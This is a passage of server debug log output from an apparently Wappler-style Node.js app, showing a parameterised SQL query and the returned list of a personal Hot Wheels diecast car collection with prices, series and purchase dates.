      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-14T05:54:21.301Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-14T05:54:21.302Z server-connect:app Executing action step identify
2026-07-14T05:54:21.302Z server-connect:app options: { provider: 'security' }
2026-07-14T05:54:21.302Z server-connect:output identity: 1
2026-07-14T05:54:21.302Z server-connect:app Executing action step restrict
2026-07-14T05:54:21.302Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:54:21.303Z server-connect:output restrict: undefined
2026-07-14T05:54:21.303Z server-connect:app Executing action step paged
2026-07-14T05:54:21.303Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-14T05:54:21.311Z server-connect:output list: {
  offset: 0,
  limit: 100,
  total: 84,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 98,
      model_name: 'Peugeot 9X8 Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-07T18:30:00.000Z',
      price: '279.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Peugeot',
      vehicle_brand_id: 121,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 95,
      model_name: 'Porsche 934 Turbo RSR',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'Neon Speeders - Mix 2',
      brand_id: 71,
      series_id: 162,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
